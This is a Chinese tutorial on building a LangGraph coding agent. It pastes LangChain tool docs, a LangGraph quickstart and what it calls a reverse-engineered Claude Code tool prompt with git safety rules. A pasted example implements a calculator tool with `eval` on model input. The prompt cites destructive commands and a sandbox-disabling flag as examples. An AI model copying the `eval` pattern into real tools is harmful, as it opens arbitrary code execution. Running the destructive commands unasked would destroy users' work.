Read 从本地文件系统读取文件,包括文本、图片、PDF 和 Jupyter notebook。
Write 将文件写入本地文件系统,如果文件已存在则覆盖。
Glob 快速文件模式匹配,适用于任何规模的代码库。
Grep 基于 ripgrep 构建的强大搜索工具,支持正则表达式。

本文重点是理解 Coding Agent,所以不会古法手搓这些 Tools,而是直接基于现有文档让 AI 辅助生成

2.1.1. LangChain 中关于如何创建一个工具的相关文档

这里只是给出复制之后的文档便于后续使用,不用细看。后面的长 Markdown 也类似

> ## Documentation Index
> Fetch the complete documentation index at: https://docs.langchain.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Tools

Tools extend what [agents](/oss/javascript/langchain/agents) can do—letting them fetch real-time data, execute code, query external databases, and take actions in the world.

Under the hood, tools are callable functions with well-defined inputs and outputs that get passed to a [chat model](/oss/javascript/langchain/models). The model decides when to invoke a tool based on the conversation context, and what input arguments to provide.

<Tip>
  For details on how models handle tool calls, see [Tool calling](/oss/javascript/langchain/models#tool-calling).
</Tip>

## Create tools

### Basic tool definition

The simplest way to create a tool is by importing the `tool` function from the `langchain` package. You can use [zod](https://zod.dev/) to define the tool's input schema:

```ts  theme={null}
import * as z from "zod"
import { tool } from "langchain"

const searchDatabase = tool(
  ({ query, limit }) => `Found ${limit} results for '${query}'`,
  {
    name: "search_database",
    description: "Search the customer database for records matching the query.",
    schema: z.object({
      query: z.string().describe("Search terms to look for"),
      limit: z.number().describe("Maximum number of results to return"),
    }),
  }
);
```

<Note>
  **Server-side tool use:** Some chat models feature built-in tools (web search, code interpreters) that are executed server-side. See [Server-side tool use](#server-side-tool-use) for details.
</Note>

<Warning>
  Prefer `snake_case` for tool names (e.g., `web_search` instead of `Web Search`). Some model providers have issues with or reject names containing spaces or special characters with errors. Sticking to alphanumeric characters, underscores, and hyphens helps to improve compatibility across providers.
</Warning>

## Access context

Tools are most powerful when they can access runtime information like conversation history, user data, and persistent memory. This section covers how to access and update this information from within your tools.

### Context

Context provides immutable configuration data that is passed at invocation time. Use it for user IDs, session details, or application-specific settings that shouldn't change during a conversation.

Tools can access an agent's runtime context through the `config` parameter:

```ts  theme={null}
import * as z from "zod"
import { ChatOpenAI } from "@langchain/openai"
import { createAgent } from "langchain"

const getUserName = tool(
  (_, config) => {
    return config.context.user_name
  },
  {
    name: "get_user_name",
    description: "Get the user's name.",
    schema: z.object({}),
  }
);

const contextSchema = z.object({
  user_name: z.string(),
});

const agent = createAgent({
  model: new ChatOpenAI({ model: "gpt-4.1" }),
  tools: [getUserName],
  contextSchema,
});

const result = await agent.invoke(
  {
    messages: [{ role: "user", content: "What is my name?" }]
  },
  {
    context: { user_name: "John Smith" }
  }
);
```

### Long-term memory (Store)

The [`BaseStore`](https://reference.langchain.com/javascript/langchain-core/stores/BaseStore) provides persistent storage that survives across conversations. Unlike state (short-term memory), data saved to the store remains available in future sessions.

Access the store through `config.store`. The store uses a namespace/key pattern to organize data:

```ts expandable theme={null}
import * as z from "zod";
import { createAgent, tool } from "langchain";
import { InMemoryStore } from "@langchain/langgraph";
import { ChatOpenAI } from "@langchain/openai";

const store = new InMemoryStore();

// Access memory
const getUserInfo = tool(
  async ({ user_id }) => {
    const value = await store.get(["users"], user_id);
    console.log("get_user_info", user_id, value);
    return value;
  },
  {
    name: "get_user_info",
    description: "Look up user info.",
    schema: z.object({
      user_id: z.string(),
    }),
  }
);

// Update memory
const saveUserInfo = tool(
  async ({ user_id, name, age, email }) => {
    console.log("save_user_info", user_id, name, age, email);
    await store.put(["users"], user_id, { name, age, email });
    return "Successfully saved user info.";
  },
  {
    name: "save_user_info",
    description: "Save user info.",
    schema: z.object({
      user_id: z.string(),
      name: z.string(),
      age: z.number(),
      email: z.string(),
    }),
  }
);

const agent = createAgent({
  model: new ChatOpenAI({ model: "gpt-4.1" }),
  tools: [getUserInfo, saveUserInfo],
  store,
});

// First session: save user info
await agent.invoke({
  messages: [
    {
      role: "user",
      content: "Save the following user: userid: abc123, name: Foo, age: 25, email: foo@langchain.dev",
    },
  ],
});

// Second session: get user info
const result = await agent.invoke({
  messages: [
    { role: "user", content: "Get user info for user with id 'abc123'" },
  ],
});

console.log(result);
// Here is the user info for user with ID "abc123":
// - Name: Foo
// - Age: 25
// - Email: foo@langchain.dev
```

### Stream writer

Stream real-time updates from tools during execution. This is useful for providing progress feedback to users during long-running operations.

Use `config.writer` to emit custom updates:

```ts  theme={null}
import * as z from "zod";
import { tool, ToolRuntime } from "langchain";

const getWeather = tool(
  ({ city }, config: ToolRuntime) => {
    const writer = config.writer;

    // Stream custom updates as the tool executes
    if (writer) {
      writer(`Looking up data for city: ${city}`);
      writer(`Acquired data for city: ${city}`);
    }

    return `It's always sunny in ${city}!`;
  },
  {
    name: "get_weather",
    description: "Get weather for a given city.",
    schema: z.object({
      city: z.string(),
    }),
  }
);
```

## ToolNode

[`ToolNode`](https://reference.langchain.com/javascript/langchain-langgraph/prebuilt/ToolNode) is a prebuilt node that executes tools in LangGraph workflows. It handles parallel tool execution, error handling, and state injection automatically.

<Info>
  For custom workflows where you need fine-grained control over tool execution patterns, use [`ToolNode`](https://reference.langchain.com/javascript/langchain-langgraph/prebuilt/ToolNode) instead of @[`create_agent`]. It's the building block that powers agent tool execution.
</Info>

### Basic usage

```typescript  theme={null}
import { ToolNode } from "@langchain/langgraph/prebuilt";
import { tool } from "@langchain/core/tools";
import * as z from "zod";

const search = tool(
  ({ query }) => `Results for: ${query}`,
  {
    name: "search",
    description: "Search for information.",
    schema: z.object({ query: z.string() }),
  }
);

const calculator = tool(
  ({ expression }) => String(eval(expression)),
  {
    name: "calculator",
    description: "Evaluate a math expression.",
    schema: z.object({ expression: z.string() }),
  }
);

// Create the ToolNode with your tools
const toolNode = new ToolNode([search, calculator]);
```

### Error handling

Configure how tool errors are handled. See the [`ToolNode`](https://reference.langchain.com/javascript/langchain-langgraph/prebuilt/ToolNode) API reference for all options.

```typescript  theme={null}
import { ToolNode } from "@langchain/langgraph/prebuilt";

// Default behavior
const toolNode = new ToolNode(tools);

// Catch all errors
const toolNode = new ToolNode(tools, { handleToolErrors: true });

// Custom error message
const toolNode = new ToolNode(tools, {
  handleToolErrors: "Something went wrong, please try again."
});
```

### Route with tools_condition

Use @[`tools_condition`] for conditional routing based on whether the LLM made tool calls:

```typescript  theme={null}
import { ToolNode, toolsCondition } from "@langchain/langgraph/prebuilt";
import { StateGraph, MessagesAnnotation } from "@langchain/langgraph";

const builder = new StateGraph(MessagesAnnotation)
  .addNode("llm", callLlm)
  .addNode("tools", new ToolNode(tools))
  .addEdge("__start__", "llm")
  .addConditionalEdges("llm", toolsCondition)  // Routes to "tools" or "__end__"
  .addEdge("tools", "llm");

const graph = builder.compile();
```

### State injection

Tools can access the current graph state through @[`ToolRuntime`]:

For more details on accessing state, context, and long-term memory from tools, see [Access context](#access-context).

## Prebuilt tools

LangChain provides a large collection of prebuilt tools and toolkits for common tasks like web search, code interpretation, database access, and more. These ready-to-use tools can be directly integrated into your agents without writing custom code.

See the [tools and toolkits](/oss/javascript/integrations/tools) integration page for a complete list of available tools organized by category.

## Server-side tool use

Some chat models feature built-in tools that are executed server-side by the model provider. These include capabilities like web search and code interpreters that don't require you to define or host the tool logic.

Refer to the individual [chat model integration pages](/oss/javascript/integrations/providers) and the [tool calling documentation](/oss/javascript/langchain/models#server-side-tool-use) for details on enabling and using these built-in tools.

***

<Callout icon="edit">
  [Edit this page on GitHub](https://github.com/langchain-ai/docs/edit/main/src/oss/langchain/tools.mdx) or [file an issue](https://github.com/langchain-ai/docs/issues/new/choose).
</Callout>

<Callout icon="terminal-2">
  [Connect these docs](/use-these-docs) to Claude, VSCode, and more via MCP for real-time answers.
</Callout>

2.1.2. Claude Prompt 中关于各个工具的说明(其他人逆向获取的)

这里面包含了各个工具的作用、入参出参甚至调用时机等

## Bash

Executes a given bash command and returns its output.

The working directory persists between commands, but shell state does not. The shell environment is initialized from the user's profile (bash or zsh).

IMPORTANT: Avoid using this tool to run `find`, `grep`, `cat`, `head`, `tail`, `sed`, `awk`, or `echo` commands, unless explicitly instructed or after you have verified that a dedicated tool cannot accomplish your task. Instead, use the appropriate dedicated tool as this will provide a much better experience for the user:

 - File search: Use Glob (NOT find or ls)
 - Content search: Use Grep (NOT grep or rg)
 - Read files: Use Read (NOT cat/head/tail)
 - Edit files: Use Edit (NOT sed/awk)
 - Write files: Use Write (NOT echo >/cat <<EOF)
 - Communication: Output text directly (NOT echo/printf)
While the Bash tool can do similar things, it’s better to use the built-in tools as they provide a better user experience and make it easier to review tool calls and give permission.

### Instructions
 - If your command will create new directories or files, first use this tool to run `ls` to verify the parent directory exists and is the correct location.
 - Always quote file paths that contain spaces with double quotes in your command (e.g., cd "path with spaces/file.txt")
 - Try to maintain your current working directory throughout the session by using absolute paths and avoiding usage of `cd`. You may use `cd` if the User explicitly requests it.
 - You may specify an optional timeout in milliseconds (up to 600000ms / 10 minutes). By default, your command will timeout after 120000ms (2 minutes).
 - - You can use the `run_in_background` parameter to run the command in the background. Only use this if you don't need the result immediately and are OK being notified when the command completes later. You do not need to check the output right away - you'll be notified when it finishes. You do not need to use '&' at the end of the command when using this parameter.
 - Write a clear, concise description of what your command does. For simple commands, keep it brief (5-10 words). For complex commands (piped commands, obscure flags, or anything hard to understand at a glance), include enough context so that the user can understand what your command will do.
 - When issuing multiple commands:
  - If the commands are independent and can run in parallel, make multiple Bash tool calls in a single message. Example: if you need to run "git status" and "git diff", send a single message with two Bash tool calls in parallel.
  - If the commands depend on each other and must run sequentially, use a single Bash call with '&&' to chain them together.
  - Use ';' only when you need to run commands sequentially but don't care if earlier commands fail.
  - DO NOT use newlines to separate commands (newlines are ok in quoted strings).
 - For git commands:
  - Prefer to create a new commit rather than amending an existing commit.
  - Before running destructive operations (e.g., git reset --hard, git push --force, git checkout --), consider whether there is a safer alternative that achieves the same goal. Only use destructive operations when they are truly the best approach.
  - Never skip hooks (--no-verify) or bypass signing (--no-gpg-sign, -c commit.gpgsign=false) unless the user has explicitly asked for it. If a hook fails, investigate and fix the underlying issue.
 - Avoid unnecessary `sleep` commands:
  - Do not sleep between commands that can run immediately — just run them.
  - If your command is long running and you would like to be notified when it finishes – simply run your command using `run_in_background`. There is no need to sleep in this case.
  - Do not retry failing commands in a sleep loop — diagnose the root cause or consider an alternative approach.
  - If waiting for a background task you started with `run_in_background`, you will be notified when it completes — do not poll.
  - If you must poll an external process, use a check command (e.g. `gh run view`) rather than sleeping first.
  - If you must sleep, keep the duration short (1-5 seconds) to avoid blocking the user.


### Committing changes with git

Only create commits when requested by the user. If unclear, ask first. When the user asks you to create a new git commit, follow these steps carefully:

Git Safety Protocol:
- NEVER update the git config
- NEVER run destructive git commands (push --force, reset --hard, checkout ., restore ., clean -f, branch -D) unless the user explicitly requests these actions. Taking unauthorized destructive actions is unhelpful and can result in lost work, so it's best to ONLY run these commands when given direct instructions 
- NEVER skip hooks (--no-verify, --no-gpg-sign, etc) unless the user explicitly requests it
- NEVER run force push to main/master, warn the user if they request it
- CRITICAL: Always create NEW commits rather than amending, unless the user explicitly requests a git amend. When a pre-commit hook fails, the commit did NOT happen — so --amend would modify the PREVIOUS commit, which may result in destroying work or losing previous changes. Instead, after hook failure, fix the issue, re-stage, and create a NEW commit
- When staging files, prefer adding specific files by name rather than using "git add -A" or "git add .", which can accidentally include sensitive files (.env, credentials) or large binaries
- NEVER commit changes unless the user explicitly asks you to. It is VERY IMPORTANT to only commit when explicitly asked, otherwise the user will feel that you are being too proactive

1. You can call multiple tools in a single response. When multiple independent pieces of information are requested and all commands are likely to succeed, run multiple tool calls in parallel for optimal performance. run the following bash commands in parallel, each using the Bash tool:
  - Run a git status command to see all untracked files. IMPORTANT: Never use the -uall flag as it can cause memory issues on large repos.
  - Run a git diff command to see both staged and unstaged changes that will be committed.
  - Run a git log command to see recent commit messages, so that you can follow this repository's commit message style.
2. Analyze all staged changes (both previously staged and newly added) and draft a commit message:
  - Summarize the nature of the changes (eg. new feature, enhancement to an existing feature, bug fix, refactoring, test, docs, etc.). Ensure the message accurately reflects the changes and their purpose (i.e. "add" means a wholly new feature, "update" means an enhancement to an existing feature, "fix" means a bug fix, etc.).
  - Do not commit files that likely contain secrets (.env, credentials.json, etc). Warn the user if they specifically request to commit those files
  - Draft a concise (1-2 sentences) commit message that focuses on the "why" rather than the "what"
  - Ensure it accurately reflects the changes and their purpose
3. You can call multiple tools in a single response. When multiple independent pieces of information are requested and all commands are likely to succeed, run multiple tool calls in parallel for optimal performance. run the following commands:
   - Add relevant untracked files to the staging area.
   - Create the commit with a message ending with:
   Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
   - Run git status after the commit completes to verify success.
   Note: git status depends on the commit completing, so run it sequentially after the commit.
4. If the commit fails due to pre-commit hook: fix the issue and create a NEW commit

Important notes:
- NEVER run additional commands to read or explore code, besides git bash commands
- NEVER use the TodoWrite or Task tools
- DO NOT push to the remote repository unless the user explicitly asks you to do so
- IMPORTANT: Never use git commands with the -i flag (like git rebase -i or git add -i) since they require interactive input which is not supported.
- IMPORTANT: Do not use --no-edit with git rebase commands, as the --no-edit flag is not a valid option for git rebase.
- If there are no changes to commit (i.e., no untracked files and no modifications), do not create an empty commit
- In order to ensure good formatting, ALWAYS pass the commit message via a HEREDOC, a la this example:
<example>
git commit -m "$(cat <<'EOF'
   Commit message here.

   Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
   EOF
   )"
</example>

### Creating pull requests
Use the gh command via the Bash tool for ALL GitHub-related tasks including working with issues, pull requests, checks, and releases. If given a Github URL use the gh command to get the information needed.

IMPORTANT: When the user asks you to create a pull request, follow these steps carefully:

1. You can call multiple tools in a single response. When multiple independent pieces of information are requested and all commands are likely to succeed, run multiple tool calls in parallel for optimal performance. run the following bash commands in parallel using the Bash tool, in order to understand the current state of the branch since it diverged from the main branch:
   - Run a git status command to see all untracked files (never use -uall flag)
   - Run a git diff command to see both staged and unstaged changes that will be committed
   - Check if the current branch tracks a remote branch and is up to date with the remote, so you know if you need to push to the remote
   - Run a git log command and `git diff [base-branch]...HEAD` to understand the full commit history for the current branch (from the time it diverged from the base branch)
2. Analyze all changes that will be included in the pull request, making sure to look at all relevant commits (NOT just the latest commit, but ALL commits that will be included in the pull request!!!), and draft a pull request title and summary:
   - Keep the PR title short (under 70 characters)
   - Use the description/body for details, not the title
3. You can call multiple tools in a single response. When multiple independent pieces of information are requested and all commands are likely to succeed, run multiple tool calls in parallel for optimal performance. run the following commands in parallel:
   - Create new branch if needed
   - Push to remote with -u flag if needed
   - Create PR using gh pr create with the format below. Use a HEREDOC to pass the body to ensure correct formatting.
<example>
gh pr create --title "the pr title" --body "$(cat <<'EOF'
#### Summary
<1-3 bullet points>

#### Test plan
[Bulleted markdown checklist of TODOs for testing the pull request...]

🤖 Generated with [Claude Code](https://claude.com/claude-code)
EOF
)"
</example>

Important:
- DO NOT use the TodoWrite or Task tools
- Return the PR URL when you're done, so the user can see it

### Other common operations
- View comments on a Github PR: gh api repos/foo/bar/pulls/123/comments
{
  "$schema": "https://json-schema.org/draft/2020-12/schema",
  "type": "object",
  "properties": {
    "command": {
      "description": "The command to execute",
      "type": "string"
    },
    "timeout": {
      "description": "Optional timeout in milliseconds (max 600000)",
      "type": "number"
    },
    "description": {
      "description": "Clear, concise description of what this command does in active voice. Never use words like "complex" or "risk" in the description - just describe what it does.\n\nFor simple commands (git, npm, standard CLI tools), keep it brief (5-10 words):\n- ls → "List files in current directory"\n- git status → "Show working tree status"\n- npm install → "Install package dependencies"\n\nFor commands that are harder to parse at a glance (piped commands, obscure flags, etc.), add enough context to clarify what it does:\n- find . -name "*.tmp" -exec rm {} \; → "Find and delete all .tmp files recursively"\n- git reset --hard origin/main → "Discard all local changes and match remote main"\n- curl -s url | jq '.data[]' → "Fetch JSON from URL and extract data array elements"",
      "type": "string"
    },
    "run_in_background": {
      "description": "Set to true to run this command in the background. Use TaskOutput to read the output later.",
      "type": "boolean"
    },
    "dangerouslyDisableSandbox": {
      "description": "Set this to true to dangerously override sandbox mode and run commands without sandboxing.",
      "type": "boolean"
    }
  },
  "required": [
    "command"
  ],
  "additionalProperties": false
}

---

## Edit

Performs exact string replacements in files.

Usage:
- You must use your `Read` tool at least once in the conversation before editing. This tool will error if you attempt an edit without reading the file. 
- When editing text from Read tool output, ensure you preserve the exact indentation (tabs/spaces) as it appears AFTER the line number prefix. The line number prefix format is: spaces + line number + tab. Everything after that tab is the actual file content to match. Never include any part of the line number prefix in the old_string or new_string.
- ALWAYS prefer editing existing files in the codebase. NEVER write new files unless explicitly required.
- Only use emojis if the user explicitly requests it. Avoid adding emojis to files unless asked.
- The edit will FAIL if `old_string` is not unique in the file. Either provide a larger string with more surrounding context to make it unique or use `replace_all` to change every instance of `old_string`.
- Use `replace_all` for replacing and renaming strings across the file. This parameter is useful if you want to rename a variable for instance.
{
  "$schema": "https://json-schema.org/draft/2020-12/schema",
  "type": "object",
  "properties": {
    "file_path": {
      "description": "The absolute path to the file to modify",
      "type": "string"
    },
    "old_string": {
      "description": "The text to replace",
      "type": "string"
    },
    "new_string": {
      "description": "The text to replace it with (must be different from old_string)",
      "type": "string"
    },
    "replace_all": {
      "description": "Replace all occurrences of old_string (default false)",
      "default": false,
      "type": "boolean"
    }
  },
  "required": [
    "file_path",
    "old_string",
    "new_string"
  ],
  "additionalProperties": false
}

---

## Glob

- Fast file pattern matching tool that works with any codebase size
- Supports glob patterns like "**/*.js" or "src/**/*.ts"
- Returns matching file paths sorted by modification time
- Use this tool when you need to find files by name patterns
- When you are doing an open ended search that may require multiple rounds of globbing and grepping, use the Agent tool instead
- You can call multiple tools in a single response. It is always better to speculatively perform multiple searches in parallel if they are potentially useful.
{
  "$schema": "https://json-schema.org/draft/2020-12/schema",
  "type": "object",
  "properties": {
    "pattern": {
      "description": "The glob pattern to match files against",
      "type": "string"
    },
    "path": {
      "description": "The directory to search in. If not specified, the current working directory will be used. IMPORTANT: Omit this field to use the default directory. DO NOT enter "undefined" or "null" - simply omit it for the default behavior. Must be a valid directory path if provided.",
      "type": "string"
    }
  },
  "required": [
    "pattern"
  ],
  "additionalProperties": false
}

---

## Grep

A powerful search tool built on ripgrep

  Usage:
  - ALWAYS use Grep for search tasks. NEVER invoke `grep` or `rg` as a Bash command. The Grep tool has been optimized for correct permissions and access.
  - Supports full regex syntax (e.g., "log.*Error", "function\s+\w+")
  - Filter files with glob parameter (e.g., "*.js", "**/*.tsx") or type parameter (e.g., "js", "py", "rust")
  - Output modes: "content" shows matching lines, "files_with_matches" shows only file paths (default), "count" shows match counts
  - Use Task tool for open-ended searches requiring multiple rounds
  - Pattern syntax: Uses ripgrep (not grep) - literal braces need escaping (use `interface{}` to find `interface{}` in Go code)
  - Multiline matching: By default patterns match within single lines only. For cross-line patterns like `struct {[\s\S]*?field`, use `multiline: true`

{
  "$schema": "https://json-schema.org/draft/2020-12/schema",
  "type": "object",
  "properties": {
    "pattern": {
      "description": "The regular expression pattern to search for in file contents",
      "type": "string"
    },
    "path": {
      "description": "File or directory to search in (rg PATH). Defaults to current working directory.",
      "type": "string"
    },
    "glob": {
      "description": "Glob pattern to filter files (e.g. "*.js", "*.{ts,tsx}") - maps to rg --glob",
      "type": "string"
    },
    "output_mode": {
      "description": "Output mode: "content" shows matching lines (supports -A/-B/-C context, -n line numbers, head_limit), "files_with_matches" shows file paths (supports head_limit), "count" shows match counts (supports head_limit). Defaults to "files_with_matches".",
      "type": "string",
      "enum": [
        "content",
        "files_with_matches",
        "count"
      ]
    },
    "-B": {
      "description": "Number of lines to show before each match (rg -B). Requires output_mode: "content", ignored otherwise.",
      "type": "number"
    },
    "-A": {
      "description": "Number of lines to show after each match (rg -A). Requires output_mode: "content", ignored otherwise.",
      "type": "number"
    },
    "-C": {
      "description": "Alias for context.",
      "type": "number"
    },
    "context": {
      "description": "Number of lines to show before and after each match (rg -C). Requires output_mode: "content", ignored otherwise.",
      "type": "number"
    },
    "-n": {
      "description": "Show line numbers in output (rg -n). Requires output_mode: "content", ignored otherwise. Defaults to true.",
      "type": "boolean"
    },
    "-i": {
      "description": "Case insensitive search (rg -i)",
      "type": "boolean"
    },
    "type": {
      "description": "File type to search (rg --type). Common types: js, py, rust, go, java, etc. More efficient than include for standard file types.",
      "type": "string"
    },
    "head_limit": {
      "description": "Limit output to first N lines/entries, equivalent to "| head -N". Works across all output modes: content (limits output lines), files_with_matches (limits file paths), count (limits count entries). Defaults to 0 (unlimited).",
      "type": "number"
    },
    "offset": {
      "description": "Skip first N lines/entries before applying head_limit, equivalent to "| tail -n +N | head -N". Works across all output modes. Defaults to 0.",
      "type": "number"
    },
    "multiline": {
      "description": "Enable multiline mode where . matches newlines and patterns can span lines (rg -U --multiline-dotall). Default: false.",
      "type": "boolean"
    }
  },
  "required": [
    "pattern"
  ],
  "additionalProperties": false
}

---
## Read

Reads a file from the local filesystem. You can access any file directly by using this tool.
Assume this tool is able to read all files on the machine. If the User provides a path to a file assume that path is valid. It is okay to read a file that does not exist; an error will be returned.

Usage:
- The file_path parameter must be an absolute path, not a relative path
- By default, it reads up to 2000 lines starting from the beginning of the file
- You can optionally specify a line offset and limit (especially handy for long files), but it's recommended to read the whole file by not providing these parameters
- Any lines longer than 2000 characters will be truncated
- Results are returned using cat -n format, with line numbers starting at 1
- This tool allows Claude Code to read images (eg PNG, JPG, etc). When reading an image file the contents are presented visually as Claude Code is a multimodal LLM.
- This tool can read PDF files (.pdf). For large PDFs (more than 10 pages), you MUST provide the pages parameter to read specific page ranges (e.g., pages: "1-5"). Reading a large PDF without the pages parameter will fail. Maximum 20 pages per request.
- This tool can read Jupyter notebooks (.ipynb files) and returns all cells with their outputs, combining code, text, and visualizations.
- This tool can only read files, not directories. To read a directory, use an ls command via the Bash tool.
- You can call multiple tools in a single response. It is always better to speculatively read multiple potentially useful files in parallel.
- You will regularly be asked to read screenshots. If the user provides a path to a screenshot, ALWAYS use this tool to view the file at the path. This tool will work with all temporary file paths.
- If you read a file that exists but has empty contents you will receive a system reminder warning in place of file contents.
{
  "$schema": "https://json-schema.org/draft/2020-12/schema",
  "type": "object",
  "properties": {
    "file_path": {
      "description": "The absolute path to the file to read",
      "type": "string"
    },
    "offset": {
      "description": "The line number to start reading from. Only provide if the file is too large to read at once",
      "type": "number"
    },
    "limit": {
      "description": "The number of lines to read. Only provide if the file is too large to read at once.",
      "type": "number"
    },
    "pages": {
      "description": "Page range for PDF files (e.g., "1-5", "3", "10-20"). Only applicable to PDF files. Maximum 20 pages per request.",
      "type": "string"
    }
  },
  "required": [
    "file_path"
  ],
  "additionalProperties": false
}

---

## Write

Writes a file to the local filesystem.

Usage:
- This tool will overwrite the existing file if there is one at the provided path.
- If this is an existing file, you MUST use the Read tool first to read the file's contents. This tool will fail if you did not read the file first.
- Prefer the Edit tool for modifying existing files — it only sends the diff. Only use this tool to create new files or for complete rewrites.
- NEVER create documentation files (*.md) or README files unless explicitly requested by the User.
- Only use emojis if the user explicitly requests it. Avoid writing emojis to files unless asked.
{
  "$schema": "https://json-schema.org/draft/2020-12/schema",
  "type": "object",
  "properties": {
    "file_path": {
      "description": "The absolute path to the file to write (must be absolute, not relative)",
      "type": "string"
    },
    "content": {
      "description": "The content to write to the file",
      "type": "string"
    }
  },
  "required": [
    "file_path",
    "content"
  ],
  "additionalProperties": false
}

2.1.3. 聚合上述文档

创建 1_langgraph 项目,把上述文档放入 md 文件夹中,然后让任何 Coding Agent (Cladue Code、Trae、Cursor...)参考 md 中的相关文档,在 tools 生成代码

mca
├── .env
├── 0_deepagents
├── 1_langgraph
│   └── src
│       ├── md
│       │   ├── how_to_create_a_tool.md
│       │   └── a_list_of_all_required_tools.md
│       └── tools (空文件夹)
└── package.json

你也可以直接用上一步自己创建的 mca

npm start '基于 1_langgraph/src/md 中的 how_to_create_a_tool 在 1_langgraph/src/tools 中实现 a_list_of_all_required_tools 里全部工具'

2.1.4. 预期效果

顺利的话,你会得到创建好了所需 tools 的文件。如果生成内容有误,可以根据内容调整 input 让其重新生成或修改

 mca
 ├── .env
 ├── 0_deepagents
 ├── 1_langgraph
 │   └── src
 │       ├── md
 │       └── tools
+│           ├── bash.js
+│           ├── edit.js
+│           ├── glob.js
+│           ├── grep.js
+│           ├── index.js
+│           ├── read.js
+│           └── write.js
 └── package.json

2.2. ReAct 范式

工具有了,接下来我们实现 ReAct 范式

2.2.1. 关于创建 LangGraph 应用的相关文档

和之前类似,我们在 md 文件中新增 lang_graph_quick_start.md,让 Coding Agent 知道要怎么创建一个 LangGraph 应用

> ## Documentation Index
> Fetch the complete documentation index at: https://docs.langchain.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Quickstart

This quickstart demonstrates how to build a calculator agent using the LangGraph Graph API or the Functional API.

* [Use the Graph API](#use-the-graph-api) if you prefer to define your agent as a graph of nodes and edges.
* [Use the Functional API](#use-the-functional-api) if you prefer to define your agent as a single function.

For conceptual information, see [Graph API overview](/oss/javascript/langgraph/graph-api) and [Functional API overview](/oss/javascript/langgraph/functional-api).

<Info>
  For this example, you will need to set up a [Claude (Anthropic)](https://www.anthropic.com/) account and get an API key. Then, set the `ANTHROPIC_API_KEY` environment variable in your terminal.
</Info>

<Tabs>
  <Tab title="Use the Graph API">
    ## 1. Define tools and model

    In this example, we'll use the Claude Sonnet 4.5 model and define tools for addition, multiplication, and division.

    ```typescript  theme={null}
    import { ChatAnthropic } from "@langchain/anthropic";
    import { tool } from "@langchain/core/tools";
    import * as z from "zod";

    const model = new ChatAnthropic({
      model: "claude-sonnet-4-5-20250929",
      temperature: 0,
    });

    // Define tools
    const add = tool(({ a, b }) => a + b, {
      name: "add",
      description: "Add two numbers",
      schema: z.object({
        a: z.number().describe("First number"),
        b: z.number().describe("Second number"),
      }),
    });

    const multiply = tool(({ a, b }) => a * b, {
      name: "multiply",
      description: "Multiply two numbers",
      schema: z.object({
        a: z.number().describe("First number"),
        b: z.number().describe("Second number"),
      }),
    });

    const divide = tool(({ a, b }) => a / b, {
      name: "divide",
      description: "Divide two numbers",
      schema: z.object({
        a: z.number().describe("First number"),
        b: z.number().describe("Second number"),
      }),
    });

    // Augment the LLM with tools
    const toolsByName = {
      [add.name]: add,
      [multiply.name]: multiply,
      [divide.name]: divide,
    };
    const tools = Object.values(toolsByName);
    const modelWithTools = model.bindTools(tools);
    ```

    ## 2. Define state

    The graph's state is used to store the messages and the number of LLM calls.

    <Tip>
      State in LangGraph persists throughout the agent's execution.

      The `MessagesValue` provides a built-in reducer for appending messages. The `llmCalls` field uses a `ReducedValue` with `(x, y) => x + y` to accumulate the count.
    </Tip>

    ```typescript  theme={null}
    import {
      StateGraph,
      StateSchema,
      MessagesValue,
      ReducedValue,
      GraphNode,
      ConditionalEdgeRouter,
      START,
      END,
    } from "@langchain/langgraph";
    import { z } from "zod/v4";

    const MessagesState = new StateSchema({
      messages: MessagesValue,
      llmCalls: new ReducedValue(
        z.number().default(0),
        { reducer: (x, y) => x + y }
      ),
    });
    ```

    ## 3. Define model node

    The model node is used to call the LLM and decide whether to call a tool or not.

    ```typescript  theme={null}
    import { SystemMessage } from "@langchain/core/messages";

    const llmCall: GraphNode<typeof MessagesState> = async (state) => {
      const response = await modelWithTools.invoke([
        new SystemMessage(
          "You are a helpful assistant tasked with performing arithmetic on a set of inputs."
        ),
        ...state.messages,
      ]);
      return {
        messages: [response],
        llmCalls: 1,
      };
    };
    ```

    ## 4. Define tool node

    The tool node is used to call the tools and return the results.

    ```typescript  theme={null}
    import { AIMessage, ToolMessage } from "@langchain/core/messages";

    const toolNode: GraphNode<typeof MessagesState> = async (state) => {
      const lastMessage = state.messages.at(-1);

      if (lastMessage == null || !AIMessage.isInstance(lastMessage)) {
        return { messages: [] };
      }

      const result: ToolMessage[] = [];
      for (const toolCall of lastMessage.tool_calls ?? []) {
        const tool = toolsByName[toolCall.name];
        const observation = await tool.invoke(toolCall);
        result.push(observation);
      }

      return { messages: result };
    };
    ```

    ## 5. Define end logic

    The conditional edge function is used to route to the tool node or end based upon whether the LLM made a tool call.

    ```typescript  theme={null}
    const shouldContinue: ConditionalEdgeRouter<typeof MessagesState, "toolNode"> = (state) => {
      const lastMessage = state.messages.at(-1);

      // Check if it's an AIMessage before accessing tool_calls
      if (!lastMessage || !AIMessage.isInstance(lastMessage)) {
        return END;
      }

      // If the LLM makes a tool call, then perform an action
      if (lastMessage.tool_calls?.length) {
        return "toolNode";
      }

      // Otherwise, we stop (reply to the user)
      return END;
    };
    ```

    ## 6. Build and compile the agent

    The agent is built using the [`StateGraph`](https://reference.langchain.com/javascript/langchain-langgraph/index/StateGraph) class and compiled using the [`compile`](https://reference.langchain.com/javascript/classes/_langchain_langgraph.index.StateGraph.html#compile) method.

    ```typescript  theme={null}
    const agent = new StateGraph(MessagesState)
      .addNode("llmCall", llmCall)
      .addNode("toolNode", toolNode)
      .addEdge(START, "llmCall")
      .addConditionalEdges("llmCall", shouldContinue, ["toolNode", END])
      .addEdge("toolNode", "llmCall")
      .compile();

    // Invoke
    import { HumanMessage } from "@langchain/core/messages";
    const result = await agent.invoke({
      messages: [new HumanMessage("Add 3 and 4.")],
    });

    for (const message of result.messages) {
      console.log(`[${message.type}]: ${message.text}`);
    }
    ```

    <Tip>
      To learn how to trace your agent with LangSmith, see the [LangSmith documentation](/langsmith/trace-with-langgraph).
    </Tip>

    Congratulations! You've built your first agent using the LangGraph Graph API.

    <Accordion title="Full code example">
      ```typescript  theme={null}
      // Step 1: Define tools and model

      import { ChatAnthropic } from "@langchain/anthropic";
      import { tool } from "@langchain/core/tools";
      import * as z from "zod";

      const model = new ChatAnthropic({
        model: "claude-sonnet-4-5-20250929",
        temperature: 0,
      });

